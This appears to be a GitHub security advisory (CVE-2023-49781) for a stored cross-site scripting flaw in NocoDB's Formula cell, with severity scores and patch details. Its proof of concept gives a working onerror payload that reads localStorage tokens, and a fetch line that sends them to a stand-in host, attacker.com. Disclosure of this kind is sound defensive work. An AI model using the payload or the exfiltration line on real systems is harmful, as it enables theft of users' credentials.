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NocoDB Vulnerable to Stored Cross-Site Scripting in Formula.vue

High severity GitHub Reviewed Published May 13, 2024 in nocodb/nocodb • Updated May 14, 2024

Package

npm nocodb (npm)

Affected versions

<= 0.202.8

Patched versions

0.202.9

Description

Summary

A stored cross-site scripting vulnerability exists within the Formula virtual cell comments functionality.

Details

The nc-gui/components/virtual-cell/Formula.vue displays a v-html tag with the value of "urls" whose contents are processed by the function replaceUrlsWithLink(). This function recognizes the pattern URI::(XXX) and creates a hyperlink tag with href=XXX. However, it leaves all the other contents outside of the pattern URI::(XXX) unchanged, which makes the evil users can create a malicious table with a formula field whose payload is <img src=1 onerror="malicious javascripts"URI::(XXX). The evil users then can share this table with others by enabling public viewing and the victims who open the shared link can be attacked.

PoC

Step 1: Attacker login the nocodb and creates a table with two fields, "T" and "F". The type of field "T" is "SingleLineText", and the type of the "F" is "Fomula" with the formula content {T}
Step 2: The attacker sets the contents of T using <img src=1 onerror=alert(localStorage.getItem('nocodb-gui-v2'))URI::(XXX)
Step 3: The attacker clicks the "Share" button and enables public viewing, then copies the shared link and sends it to the victims
Step 4: Any victims who open the shared link in their browsers will see the alert with their confidential tokens stored in localStorage

The attackers can use the fetch(http://attacker.com/?localStorage.getItem('nocodb-gui-v2')) to replace the alert and then steal the victims' credentials in their attacker.com website.

Impact

Stealing the credentials of NocoDB user that clicks the malicious link.

References

@mertmit mertmit published to nocodb/nocodb May 13, 2024
Published to the GitHub Advisory Database May 13, 2024
Reviewed May 13, 2024
Published by the National Vulnerability Database May 14, 2024
Last updated May 14, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

EPSS score

0.043%
(10th percentile)

Weaknesses

CVE ID

CVE-2023-49781

GHSA ID

GHSA-h6r4-xvw6-jc5h

Source code

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